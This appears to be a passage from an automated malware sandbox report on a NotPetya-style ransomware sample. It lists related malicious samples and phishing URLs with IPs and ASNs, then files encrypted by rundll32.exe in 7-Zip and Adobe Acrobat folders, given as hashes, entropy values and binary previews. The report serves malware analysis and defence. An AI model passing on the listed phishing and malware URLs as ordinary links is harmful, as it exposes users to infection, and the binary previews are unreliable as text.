	SOA_settlement_details_transfer_invoice_014_november_2023.exe	Get hash	malicious	AgentTesla	Browse	192.229.211.108
	NewOrder.exe	Get hash	malicious	AgentTesla	Browse	192.229.211.108
	poc.exe	Get hash	malicious	Clipboard Hijacker	Browse	192.229.211.108
	https://134.122.188.176/	Get hash	malicious	Unknown	Browse	192.229.211.108
	txt.ps1	Get hash	malicious	AgentTesla	Browse	192.229.211.108
	lnvoice-1597256897.pdf.js	Get hash	malicious	AgentTesla	Browse	192.229.211.108
	NewOrder.exe	Get hash	malicious	Lokibot	Browse	192.229.211.108
	RO67OsrIWi.exe	Get hash	malicious	Gurcu Stealer, PrivateLoader, RedLine, RisePro Stealer, SmokeLoader, zgRAT	Browse	192.229.211.108
	NewOrder.exe	Get hash	malicious	Lokibot	Browse	192.229.211.108

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASUS	http://fixme.it	Get hash	malicious	Unknown	Browse	23.212.249.134
	https://storage.googleapis.com/logon-webservices73h6439jd983rnk3fy9ohiu4h83rtb478yhf474yrfh4/preload-reCaptcha.html	Get hash	malicious	Fake Captcha, HTMLPhisher	Browse	23.212.249.90
	Microsoft 365 security You have messages in quarantine.msg	Get hash	malicious	Fake Captcha, HTMLPhisher	Browse	23.220.140.112
	http://img1.wsimg.com/blobby/go/7a01c1ee-685d-49b6-ad23-74636c936c34/downloads/10651641465.pdf	Get hash	malicious	Unknown	Browse	23.50.230.182
	https://storage.googleapis.com/fedexfr/hreflj.html#?Z289MSZzMT0xNzQzNzkwJnMyPTM2NjgzMjYyNyZzMz1HTEI=	Get hash	malicious	Phisher	Browse	104.70.70.162
	ZenY9BAc8B.elf	Get hash	malicious	Mirai	Browse	2.16.193.215
	VLMEMjKea7.elf	Get hash	malicious	Mirai	Browse	104.78.21.178
	ccbS3mSC4n.elf	Get hash	malicious	Mirai	Browse	72.246.93.178
	WzpinhzvZl.elf	Get hash	malicious	Mirai	Browse	95.101.173.139
	7vbrDg2AF5.elf	Get hash	malicious	Mirai	Browse	95.101.248.59
	https://www.vmware.com/go/getplayer-win	Get hash	malicious	Unknown	Browse	23.57.80.48
	http://steemcomunility.ru/	Get hash	malicious	Unknown	Browse	23.215.0.145
	https://www.enrruchi.xyz/login	Get hash	malicious	Unknown	Browse	23.222.196.28
	https://www.gcvsqap.cn/login	Get hash	malicious	Unknown	Browse	23.209.60.28
	https://hasvp.apinvoicesquickbookapp.top/?pgn=ptmetcm5hZ2xlQG9sZHBsYW5rdHJhaWxiYW5rLmNvbQ==	Get hash	malicious	Unknown	Browse	23.215.0.165
	Aging#04533.htm	Get hash	malicious	HTMLPhisher	Browse	23.54.202.151
	Aging#04533.htm	Get hash	malicious	HTMLPhisher	Browse	23.205.104.41
	https://fs6.formsite.com/res/showFormPreview?EParam=0f3EXAbWkRy3B3dNHgQl_huJ3lg3ramcMyDvWowlzTJXAg2hUkggomInZJc2I3By	Get hash	malicious	HTMLPhisher	Browse	23.215.0.166
	file.exe	Get hash	malicious	SmokeLoader	Browse	23.200.88.41
	https://www.thenicheng.com	Get hash	malicious	Unknown	Browse	23.218.144.90

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\dllhost.dat	027.dll	Get hash	malicious	Petya / NotPetya, Mimikatz	Browse
	QYXZGHJc38.dll	Get hash	malicious	Petya / NotPetya, Mimikatz	Browse
	NotPetya.exe	Get hash	malicious	Mimikatz, NotPetya	Browse
	NotPetya DLL.dll.dll	Get hash	malicious	Petya / NotPetya, Mimikatz	Browse
	Trojan.Ransom.exe	Get hash	malicious	Mimikatz, NotPetya	Browse
	qFTst626iV.dll	Get hash	malicious	Petya / NotPetya, Mimikatz	Browse
	NotPetya.dll	Get hash	malicious	Petya / NotPetya, Mimikatz	Browse
	notpetya.dll	Get hash	malicious	Petya / NotPetya Mimikatz	Browse
	6r3kQ7Ddkk.dll	Get hash	malicious	Petya / NotPetya Mimikatz	Browse
	Xu0Yl0gJER.dll	Get hash	malicious	Petya / NotPetya Mimikatz	Browse
	5qoV7TRt2Y.dll	Get hash	malicious	Petya / NotPetya Mimikatz	Browse
	tvHP8AUd45.dll	Get hash	malicious	NotPetya	Browse
	PbrBnW71uv.dll	Get hash	malicious	Petya / NotPetya	Browse
	rTcWdtStAN.dll	Get hash	malicious	Unknown	Browse
	NotPetya.dll	Get hash	malicious		Browse
	02XuXOatFM.dll	Get hash	malicious		Browse

Created / dropped Files

C:

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.13872951814887827
Encrypted:	false
SSDEEP:	3:Ht:N
MD5:	0DB8708BF10FF08A0995C18CBE0C5D32
SHA1:	E3C6D04B750A6DEE95826F8C320B8097D610D7CC
SHA-256:	54F4B58FBB22D05FAFB4B3353DF1832E24041934776683098DD7D4657FD48590
SHA-512:	737F103C6D609144F4E750B8C6FBBF006C3D059C93F0C678DC397FE404633B6BF96CC82A23A980D34CF468AF3068FEA16C483E5CAD6051603C75502997D45FFC
Malicious:	true
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files\7-Zip\7z.exe

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	557072
Entropy (8bit):	7.999682221727512
Encrypted:	true
SSDEEP:	12288:DXfWIA/uXbB5UhW/k/mtAUnBOcaQRKx3KLy4Mjl7dj7tGlkZemM:DXBshQPOcXYx6Yjl7djJGmZej
MD5:	DB542E0D64E36EB335E341D901390518
SHA1:	3CCBFCB69E83DE26F42F875797095CF745844939
SHA-256:	D55F29A73279BB11C25EFEBF85355085AA994034FE85683C768B4FED6EB2A914
SHA-512:	D8319B49F9E8C06E50A94D6D1791A5B78F212607C3CFBB279FE868C684AE87FB39CD14E8AC67B0BC48F2A8A9B3223EA5AFB7907F860C23997B3E1F38573F284A
Malicious:	true
Preview:	]..'.6^...2.[..J .M...........L5.v$........X.../....S}s..l..}..j.B..j.Z.+...<X.$..X(w..`x.s3............>.5..F.....g.T7.....K...bA.}P..z..I...%E..s..O........9 ...3.A..s-.....en.;_.1..M...{..Ua&...O...$2V....>z.s.z8<P.Xi!....Q./. .....b.&.......RD...Q7...0f..\|.Z....+......b/..z....&".1Ki.$&c./....k..rK...l#+.LT3.d...:.\7..\|...X\|.......:W.`z......}F......_{.X.5.C.....1...y...c<+fp.......PK2.7#M.+...c...[o........].Q\|FQ.]....3p..Rl8\?..u.HM..........O...<.Uj.....5...`bO.....\......d....&7.:&z8..2zC!^z..oU8.~X..im.%o.....0....ER.C...X.S.6.I\......o^~......X..Y..@r.Er3..1.m..).].......E.wv.\..._...CZW.....g..$<E..S....._.,?.C.i...Yg...@7..;].DE.I....5.av...\.......Y.....n.....+c.H....V.k1hj=l...=V..m...&enR.o..<.gM...nG..r..&....-....\R../...hB..."=....n.l...D.....9UN../..]..;]'.. .>.h...s\|In....y}.=.......V..x..9.....m?.L..^.Q].............u]@Y[0.g...t`..N..q..\|._..../X.A]t...=.*k...Nu...25.J.....y...%IS..v..u.pR..YO.u=u

C:\Program Files\7-Zip\7zFM.exe

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	952848
Entropy (8bit):	7.999825982386416
Encrypted:	true
SSDEEP:	24576:kac25YsdXdFJolx98w6boA0AH8pVoh34oCzF2IUAu:3c25Ysd32fqw6bfH8pGh3wzF2IU7
MD5:	34E1D2A3E9DB60BA862618B413CEB65A
SHA1:	AA29FB32E7BA83E3683EB46DBB9ED37D36599B50
SHA-256:	5CC21FD9980D6C6AA931D5B60B59AAB6DFCEBF4133317FE067029C0CD6EBB56D
SHA-512:	18842CED3F363E253B77AC9CE4D765306BB4484573E5766FCDA49A0C00FF4807FCA1C671F2F1F9DED63539435000445D13D33730496B6C34FC7E2E88D5DDC226
Malicious:	true
Preview:	]..'.6^...2.[..J .M...........L5.v$........X.../....S}s..l..}..j.B..j.Z.+...<X.$..X(w..`x.s3............>.5..F.....8..Q.~T...W..Q........Y[.4...D'K...5...aF.n.o....CrW.L.e.....5.R.]f^.c,.G...I.....4a..n.5`.O.i...GX...B4.`o{..]...."z..I..tN.....y..?SQQ.F..........$...B...5._.Y !..uqtG.^*J.Xth...5..PPz.X;i...X}.c.......o.r.-..S.Y......@...&.$...o...W.MY.v?....{:.8....\|.6..q....\|..P....!a.N%$y,Oi..1..}u.}]..P.....<....Pj.9.......l...Ge...;I..~.}.....R@J.7...P.n..G.6.j..~_......`..Q..S..R...x .(v..u..('.n..s.....w.V..l.....i.n.......,F...G.x..1.E..........$.X-.7'..Uh6S~.....w.}t..@.l.:...b...i'..hb.....(.l.\|{9J..&5wB.`y...Pq...k.3r.....w..F....Jw..s\|.`..ae-.....~y......q....R....".p.CqomC.C...'3.k.=.md.oWaC..5.3....zf.>.A.5.pg..q.".X...@.7.tc.....O....Z...oE..ht%&.)+:...JI^...HY......#.Zq74L...R.Y\|.].3m.>.(=.Mn.b....^f...g.j.Zs>9\..)h....`.(....\|..B....w.\|.AX.....z...($.L.r.m..4..7.....N."."....O....x..M...q.........W....Qz...&$.i..>.Z

C:\Program Files\7-Zip\7zG.exe

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	700432
Entropy (8bit):	7.999761209448352
Encrypted:	true
SSDEEP:	12288:zOHB/lm653tbWUVw0JR3WjFcwrDu+rY2sTODVxGKH4GCbZ:KBFtaUz3u7mXcUGvCb
MD5:	F2E86EE10014ECFA3DCB1B86ECCF9CE5
SHA1:	26EC8F9585E13B38D42C8A26ACCD5784F540D7E9
SHA-256:	E4F3934B66B0C2574A401263E2289DDE6C140960170A5711C7C8558D7E5C53B9
SHA-512:	45F621BCB6D68DA284877CA084E96C983B66C77104A32897B4630127210541C9FB437784BC0D0B0A3DC352926FBD2B3DBC61A1ACF3F78B20C70B9CF7877F670B
Malicious:	true
Preview:	]..'.6^...2.[..J .M...........L5.v$.................Q........U...}.6.L....v.C....3.;.6m...........8...Q...lE.k`<X.&!dG..].4)..(..s..t,j......+F.=&..+?2E..,..M.O.I.=t...._.....p..K1..(...i}..R......o........=O `2....T.p..-...q...F.KC'x..g.w.Oi.o...$..N.8; z...yY..)e>..#.\D.X.."_..>.WW...=.J..~..V...Q.O...(.b}..<F..Q5p.6u.'..rZ.....`..@.....f.%..fz..).Q.Q<.D...(..U.......7e.....)>..Q.!.....].....!...+....%....t&.\.d=.r.....)..?.:......x:e.............8@.y..;}C ~.;.\..g...a.c..-....Q\......~.....3....l.~).ReX.w.3g.R....5."&U.....iX...D.......1....1.t.]...].E..ht....&....X......R..XxFP.h.[.s.Q.8..C..~..v"Y9....Y.\]....&....d.Sx....6D.....5C.R...0.C.=3.b.3..C........D=..3.b...r...O.f.BH.1.W.?K...mG.%..E......5.U..l........8...mw..}.]........7....`N.#..W..H.......[.I.$........3seT..^..\.G.d~;.5.\|..;\....P~.-$.a4.)2.3.J....C^.4XDj.37.t>.z..4B..p.m.z.....JVf.....a.2./.)...gK\|..#.ty.7..]ie....m....r...E.';.t........1D.k~........+y)..~

C:\Program Files\7-Zip\Uninstall.exe

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	14864
Entropy (8bit):	7.988141091529576
Encrypted:	false
SSDEEP:	384:x6XL63pU8Df43RbsHOpXhx3m0tSnoRYJKz7bYg+D/MYB9dPVkfj4mk:x62ZUfQuxxEoRYJqv+DEYR9kkR
MD5:	CECF46450BF88F16DB9A8FC282CC12CA
SHA1:	9F44941ADF55E177D7A99731104A394F57730C25
SHA-256:	F9472EA22F263584AD41BBC17A171D4C5A252642D3FD9F1D9C33C64FDE766080
SHA-512:	7CA48B16887DC0019C74B075AB73963A2D0EA5912CF01368CDCC2232B57C6FB06FBE472AA0262F4E02FB92B4CD9DAE87110F0A22B8A0621790B9AF36D70AD89F
Malicious:	true
Preview:	]..'.6^...2.[..J .M...........L5.v$.................Q........U...}.6.L....v.C....3.;.6m...........8...Q...lE.k`<X.&!d...d..'...k...../q..<_I&...@.u.....1..`..u.n:Xl@Q.6...sl..#.-.....#F....[5[3Ff.{..D .}...!?O...R...d...n....u..H.m.PO&.._..sGS......o.A..e...W.N.....].V.W..%..(.........(..W.!..3'..T.w0..JI'D....,..if.?..g...k.....F.....F....].au4...6].4.]..FE.T..,o.{L.-bz.I.....3.Y+..8.A-.D.F.e.N.T..IqV@/.....W..M..<.$..@..O"...'......h@.E.Gq#.......$.............Kt>..5K....((e?...65..ve0B..x.z?sEr>.T..8y..E.W.\...Q../.........HLb.4<......P......%....f6..P...c...N/...p..)./.0.O..._$L..0W?CQ...Ew>...[..76.ce e.73q..&.e1V.......S...1\E6......v?....@B.=...~ll......-e.......C..Cz".).......d..^.....\|d.....wr*..D9'.0..l.....X.W....AY....D../..P....3/=...S7.7F....GxR.....C.T.d..k.;..o..P~h]%9...&..2...].W..u.T&......0.........zfy).,d}1....+....Y.xa.q.M....}..J[.Ain.t..n...O")...{RF g.."...C.....}L..<...P....$h3....+l_u#.io.....A....

C:\Program Files\Adobe\Acrobat DC\Acrobat\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	186848
Entropy (8bit):	7.999194179880558
Encrypted:	true
SSDEEP:	3072:sJem9ENVDBGOY1ZV0OZtFfkgVrnYHCLXqQ/Q8vc99Y+D70GMuwrMZ+9sdbzM3GlS:CEnDUV1ZVFvlVrnTXV5099jv0VhG+KcN
MD5:	485388B1A8203FACA007320B3BC210A3
SHA1:	F3D71A368B8AE899D8B6B46529A32A0B8080AE60
SHA-256:	659D4D8D74D05008A6927F8DE9E9FA106BF62BA6F25C37A6063BB043FA28751A
SHA-512:	4370B54555A614AD4DB67B503086D44C08F2DA62D0C3DD9C0457D4C0D7CD5AE5EFBD1E8F6243AC169FCF9C349B0C0C1E7C35965AB415966DC27543C63B364F06
Malicious:	false
Preview:	.%.\.>...JN..fP.3...x.o`...g.....3..3...p..w}J\}...jG..,)2.Oz...T.x..g......x._..e.V....j.6D,D.RUl..Roo.....Z^..N\|...8".j=.U...l........P.<3..)bEBT^S..)E.h..a.IBTM.rZ.68...4.~. F.........B\....5.^.1...yM.=B,.+Z.........I.>e..z..=. ..EJ6O.}.~..rj..-..:.0.PH..05b...m.#h..l........46.#.......y.5..sx.%..e../.Uu..i.C..$.......<P.K.S..x.xP-......Z...}..w..C.[~.,.........\|..{g...4..8.px7V.....j...f`.s...:z..?.R.E.R.$.....(....U.....:.K.x..~..wr..x...3...%...T..dk.3.....Z..q...R3....U.....=?VUh.......D..S/.....@J.....x.;...E$V.a..j..#E.}p....h.....R.g..v..'....S.D....Z.t. ^>.X.N.gb.24xJ.M}....{\|......<.1p<..O~....S..S......K......c...SR...km.p.8x6....9........9<.'.P...} ...@.].#...E)qx.....Y..>.....l.X$.'_...#..t.~...._L.J...U..=+.\,..Z.Xh..Y.Y.X.ot...SYJ..#a.(.....n..\|c....6z..L.V....1zn.</..W.&.m.~......;T......8..._. M.8...0R...q.....EK.&...h..t@.P.2,-m.P.e.........N2.Mu.Kx29......_g.Z..Cz......Ed...(*..GS.....-!I..HV..}OV3V.....P.S..Ym.

C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	652768
Entropy (8bit):	7.999720442611078
Encrypted:	true
SSDEEP:	12288:FH1cFxfD8RjGtM/8Qkvx/4ENDQGXjz1+Vdhren0CDdEKD8911tmZIM+5KeFR:FVcFxfIRjG+/8QkplND5z1+VdgvJAqZy
MD5:	610BE2BE8CB4BE83F69567C4C46D3860
SHA1:	75CEF5C8233251033E34C589FE3E325EDFB62516
SHA-256:	C42E5569DABF084564F62251CBEE7B235730E9A6B6176A0312EA602E7A2D31AC
SHA-512:	99477E07A402BE2EAFE7248D3771C31A0A3F18B8A56E8744E8A8EC0727FDFE42AC49AC96115AE68C765FC97D6A4FFA7E3439A33C297F89D861793D5BBD7CB87A
Malicious:	true
Preview:	]..'.6^...2.[..J .M...........L5.v$........V.[N.... sg.".Z...........H.B...B..P.kIq..-......5&.[Ywlj..R.c...b.&...K.m..[_"\|I.....Yv..R.I.1..,.{.........\|..Pf.Q.yx.. ...F.......A!Y1....6@..".$...[&..5}...Yz_t...J.a{........N..MD.....~....aN5Cre.~.b..]k...5...+..V.......W.......I.....W...:.O2.`:-.{$.GD............H .E...T...h..N...... v...)y.V9sP.Z.....5e...zjY....&........(....%..xc>.B..U.Dm....X.}~..~E...k.T..t.~%.V..4...,...V.q.S.4...e..:_..b....uHdv..w....$.....?...&......b./..Z.e6.:...u..\|.......y...x&.....D..l..'%.9:.Nt~K..N).M.nB;..g....\|=FTF.;.s.:Y....\.`.U4........(.g.EI..%..ok/..3...y~)).<\.+.a......l..z.j....b.......M.JJO...*...p..oy..W.{. ..{...y= .\|.../[.]c......h..<.J..C)H...c....=.yKs.....w.T.~.%..9...X.V.....-.N.\|.../....8.B.6.......R....2....).O..S.r...Z..9.....3..bm.V+....m8j..5...,.....t.^..^.l..U..G#.X.s...T?d...)..`.=.)..D.z....xU..O..#\.$.....!'....c.&..Q5..C.!.;.b^x.....u.9.5..bd.;.T[p.q.!.^........

C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	338912
Entropy (8bit):	7.999422264042385
Encrypted:	true
SSDEEP:	6144:ZBhF7zTjNpvu5rdNrD82DdMGkhlhKXO/cctCCnKB4PP3O:ZrF7zTOrgaqbhZULCKB4/O
MD5:	E454AFCD079FB7D02084185F7C84E648
SHA1:	D67E3FEE5EE2FB17D83B3BBBA643A632FBADC2C2
SHA-256:	A99D4784327F8C77E4D9C1DDDBD47CA1077C2B1AD317840A44F098CD8CB2E80D
SHA-512:	35EC57B68A893FCE7D0AA7CC4B3A4136C84E0F025DF08655A0FE2EF99288AD61AAA809E1DD626021936E9C778C8E75573A7C0F52C11BBE1457E72F99F3F1EF15
Malicious:	true
Preview:	]..'.6^...2.[..J .M...........L5.v$.......wS.X..4c.>VV...(r..V.lU..;#.GH}....[..!..+.Yb..A.q.....}..\|v.U8.. .g..9...4..n.>6]...O./.);&.}.",..L.Ya.l0].w...s....l..75v..~.:...l.&.pM.....y.uN.a.@.Y\A<...)...w0....l.z1.p.j.......gbO}(...=.J.....dh.k....'.a....wo..{v....~..{..S.N..Br>.......l..[.1.M..R..1!..XZ$.;.6M...a..K..5./..]1..5.e<....B.....~.>.,.t.M.-J#I.0g^x..H.D.w....B9.....B-7.m..5".PQ../<B.c6.i..P.l`,'>.m.....Rjd...H$+~.MM-.ih0V:au...f..?.)....:_.7...].....B.D@.13....%>U?......D.]a..z<-....A....I.d..3i..A..k8..hQ..@`....s{....6....H1....[...+/\|......0...a..d.X.`%{..7+....bv.].....y-..Svc.Um...1...].....E.t..d..J....P-....U......u.s...X..[..{...;`.x.Y..EyY.....b...."..c....Q.\=......o......v.}#.g..j...R..m.....^..9G..F....?e..."..F59.k*....$.}.V...O..Y...K...T...M.j....X....\.@.-.I@e~%...y%.....y.`8....P...a..?/`.O.7...E..$..:o.T.........h....t.......7..2d.K=....U..I.d...Y.......=.h....G.X.u.R.$..pP.!.)z.;...e.:w>.

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	343520
Entropy (8bit):	7.999508269705686
Encrypted:	true
SSDEEP:	6144:sTphCJXhDIrSMo1ljmatFUlg6YxGg6q400FSCL4KRJPuvAaLIDnvV+5oXbR6J:GphyhDQJo1M4Ulgtx1MlUeoAhDnvVbbM
MD5:	B9ACD29341FA4F46DC9E69055668723C
SHA1:	135D9EA90F1A4DF594A49A77AF09F9E2052FCD77
SHA-256:	45EC61921D2D096DB2C5C9313A7DDC8D24A390F5AB93A2947D534B9A3B5D919C
SHA-512:	9C912C1296EE12C625F8122960F65E13BF6EC7A12DA2771AB3F57ED467F557AFC2F24A2BFBA641475D7D64067A3B43E59510C9428D8EFC322CE58513939BBA64
Malicious:	true
Preview:	]..'.6^...2.[..J .M...........L5.v$.......wS.X..4c.>VV...(r..V.lU..;#.GH}....[..!..+.Yb..A.q.....}..\|v.U8.. .g..9...4..nAs.8.....Kj.7n...a.-V.r.4a.0........._..{..P-=..!{..y....4.1o.q......)......w.8......g..Q.S\|.x.23q..K...(.X.l...bqXV........."....U7......p.../?W.......Xge...._<6jEs.,...Q....fX..m....GP.W.@?.........O.W./..H...]...s....f....D.`=...%O.....3..M.o.zT,r....{...q..N:1l[...Q...@-........(YG....~Y..........p..'!...."..A..o.Y\KDo..~.F.w.3.o.S....y.....C...~1(.M..-.h...JH..].(...,..\|...;.xL.Kt...lK...s.K..O.#...*.I...s...P...`p..S.),b...5.....[.\|...Pu....D...k..<L....6..u..W<..ho.T......h...Q2z.;Z.;.u8...@i...iR..%]..h5g!( V..E..oE.J.2(....nb.............Z....NQ..EBN.i/.MB..4.D...3V?..;...v'4u....i.[.+...1.b....a:k.....u.Ut...u.5a.....\|.6.W..k.Q....sk.eP8z3[.L<o.4[...2..>....5u.>..a.....f.D.#...q.Ib7Hbi..0.C.u.3.I.w,o.7...p;.!.i~....R.....sf.>..LV.4W.M.......Q.$O..^o..rE..,.....r.......G.[...9..g...<<_....D.u..@....h

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	60896
Entropy (8bit):	7.997306410239866
Encrypted:	true
SSDEEP:	1536:Kt/gi6J3BcWNyR43Tp4gvlCwYx9uuiAw1TQIWJ+CPg:wuJ3BcCyR43FPtClx9MAw1FY4
MD5:	AC244A4F83288C7999AD0BCC3D79246C
SHA1:	4D5B5E17017A9B3A07039040D97CCABFB642EA52
SHA-256:	118377E3933560FD9168AD4DD6CB3C76B8DDE1AF088F6C32E2D2DAA46433ACFA
SHA-512:	1D874E09D54D0549F3AC90AB5B2867B35FCCCF495D617687173AFA51A6D637753F9BD2A12A9C1B8C92276927B5EBB0331E9110F2EE67CD3154C134C11087E75F
Malicious:	true
Preview:	[U....8(.....W$.i=!?........~....>....$B.]"2........8z.....1..;.Z...wAB..f..D.......8..-"I..5...7V.....V.....X.k'%o.qM1........Pz^ee..9.I.+..5.;j../.R.....^4..Q&"...............5Vf...t.V...>.....8...5..u6...F.._.S.......8e&....r..x.......").R..5.[...m...LQD&..n.+.e..Y....(i.41...........y.E...y.tc..~<..jq..>.._[}.p.J,..8.K4Y..]9.....W{...j..N.>._....l=^.)..ATf.. N>q2v.'.[.c...V+.B....F.s..B...v....i.6T.O..r..A..e."......d.#.P....3..ap..?H.......&...7...e.k.............88.`s14jz..d..W.jVe..Mo.b1.Y.r..g..ul..,2..M..:."....g....6.zO>%dsqc......2U^......{."..q.......B.m.p.;..b.........Y.2.....=..p.:U.~<s.GBd.f\.1..L.B...Em.X.....^.1.5..s.!J.o...8..L. .A..}!&F..?z.T-x+!.h..9....`.>....9.c.....<.K.>i.....!..1...!..{...'.S$-..f.....HlM..^DF...yE..+...VM.Zk.j...;KF.../.;...1..8....;..^E....6........T%.B.VP.~..OU.Y.6..x.6.v....\...Ay&.~2.4...'.}.%=..~r..@..s...D.HX...l.gmC...e..ja.7o.M3E...$@mU....^.W.T......s.FV.........-..)..*.O/..Z.G.....oT

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	37856
Entropy (8bit):	7.994809943917804
Encrypted:	true
SSDEEP:	768:vo3wdrxHuHotUUhk21JnsKIdpODkMACibvaTvAx18Y7:vm6rxHuIG7AxsKIdYACirb18Y7
MD5:	E4CE6F93E8C81131583F451C784AF30D
SHA1:	49E4D6372964BB5AC6D863879307EA561ECB5992
SHA-256:	EF1C82134118D60F640ECC91B724C8BD45F6D1924F8C38010402F2A86489B2B1
SHA-512:	9B44854D428C7D5FEE8226BF059EF5F653DDC5E38BDE794C4272F4038D56BFCB931E0BE3D04611FFF34BA9D24ADC788A25BAE95D17A7F5EF294F9BF195276273
Malicious:	true
Preview:	......CJ.=.O.:U..XmzaR.X.....6..(.%.g....qn.}..+....r..g..I.qqG.k......KH..^z-K...9....\I.P...;.8.......`N..h.`..=.."....\...._u...jt.,....9.+._..z....W.....(e.(. .k...'U..$....]Xs+..1/.['Nq.).(.=).aB..1.....-.....w.. ae...O....)o-.b.....z._A(.+.._...L.x.t.a..t..=.!...Y.A.V..X....J.\.b:.......]..\|D..AU.)g.eK.y3.F{.m..+w.R...b..0.Px.E..@...s....N........f..h'.(.t..6...'........6G@...=...a..u.#..3...8...#........U')j...w._]/.a..-.c.:.....W...3..B.K.dQ..[..9ltq......Qp.)...p...... ..P..K7. ..F.....l02......c(e.i>.:n.b....!.L........?.s....._.P.t._...R.A......mx.q>.../....=...\F.y..q....c......W.Ar{6.Wn......En...@.{...t...TF......._....9.s..,U8...]=..A..(kk..FD99......-h.... ...N......p....&..B..+....J..y..#..dV.E..\.%...7z .&..S@.9......Q`z.]...Km...s.y......AA..(.c.\|Qs"$.\?.........;..K....N..8...y...1..Z...Z...Q..e...d,W....9+.D.(.~c.[.2.....@?.n.... k..&fDl].T.3......Yx......E#..4..?.F.q.Cl.b&.M&.Z......z........!`F...V......dV{d

C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	203232
Entropy (8bit):	7.999331661506748
Encrypted:	true
SSDEEP:	3072:uKMnwkK0RIT7y5hLAE9veXAP3aduy8HA84wcYawP2m91t0bI1tHrhh/N4pEvnKD/:xrklKq5JAL+ANn6uk15/SpEvnKwIZN
MD5:	87DD2CC09C4151776172EBD83024A686
SHA1:	75D35DC87E2070AF1E09719AB07393E5A3C41009
SHA-256:	F1B7629ADACEE5DF886051A0CADC19CCC4457C3437901791A638324E6E96D638
SHA-512:	776B5C5946A927B1D4E60AC70C9FADD5C56FDF4701288977B064FDDB6FC578AB1932EE34E0F8E0B63BB9570A69E3FF338029840A259ADDBAA52E842741673EA0
Malicious:	true
Preview:	.Q.,.S...0..#..0...il.....p.@.r5.L..`....p.Z.......G.........g...\).%a...=.LZ.6.+q[..%..Qw.Q5.k.QA...(.`.CO......l.W........F.u.&.Mm."....~.........7-:a...%...Zw.....=..g#g.ze.........Br``...\.?M..o.Tx%M......j.(\{.I......[y.{37......kMRK'<.G.92.b.......x8p.,u.Uk.R...@i1.......o..Qe.............!,..^.(.UV..y6....&..oi.hK$..<.A..C......h.......l...."..{A...0..E.Ae.{.?p......s.....7......"....j.;.Y.C..OG.....P.2.E5..~.{.g..... .....8f.G.~.....Oz.-..}...B.1*..m.X..}.E...m......9.^7.97.g....}^...q..`.......E.w...@..i...n.fv~.. ...]_..ep.\|x.E...DQ.S..I...=.L.X.cs.......I...f.P......z.C..S..<Wv.{.n{...........3%.]k.af.r.)4.j.Wed?..'........{:.0.#.o.Wiw ..].D:0..M....k..=<...\|!..\|.....).'6.....1..m...!...:i..B...'.....m..Ogm.5...U.?q.......n.`...t..........7.;.....=T....t.>....B..K.sj-.L.H..-N..q.6...../..$V.(..X.d .g.H....9.02/.....GFzl..8.QKD?.8DJ5p<.....T%.F07.>..+.\...1....b.".%f[...9.n..T.C.T?.=<...$..!\..0O=..6...2N....9......q...}.d[+..w%...0m.

C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	770016
Entropy (8bit):	7.999761788790326
Encrypted:	true
SSDEEP:	12288:wOiU9yChSbpt1BIArl0c2AKFZ/eKImgFAjWFoZApJT0kbXiCKPOqtD+jRQLW:biUG1iQl3OJvNgFXFZpJT0SXiCKP1teT
MD5:	10A6B71EB12F36C23155A13466103195
SHA1:	8E777A9943A5AB614E2C7841BD121415943D4756
SHA-256:	B9C00B0E7D82CA7B2B2548599C9A27BAB36784A27E766635B41CEF3B68F059B8
SHA-512:	D7C7E2F32FAB6861B395064C1892720E677D2D38B51C2777B01112993089A66A77B5228EF36ED0F32FB32C222140446CE79342D75D8DC65E35200A0BEF093DD9
Malicious:	true
Preview:	]..'.6^...2.[..J .M...........L5.v$...........B....r.S=..........^b...C.8JH...#....1$..yI2..)h..#.c....>.c.../.+..A.x..H....7...X2.OSAq.E.....).}....?....V.....3.e...=4.J..y..5_}.F...x.0.....'...!.a....`.'..kz..2..3c..f.H...=.h..3c .7V...7..v..F.w...bH...pP.+P?...lH..f..qm.Ps......qlaW.M..N.7..3v..oYt.S.A~1...\|..9.LMt...i.KR/.p.^.!F}.....L.ic....c..vp..e._........0....wp..S\.Z.]&.%..... 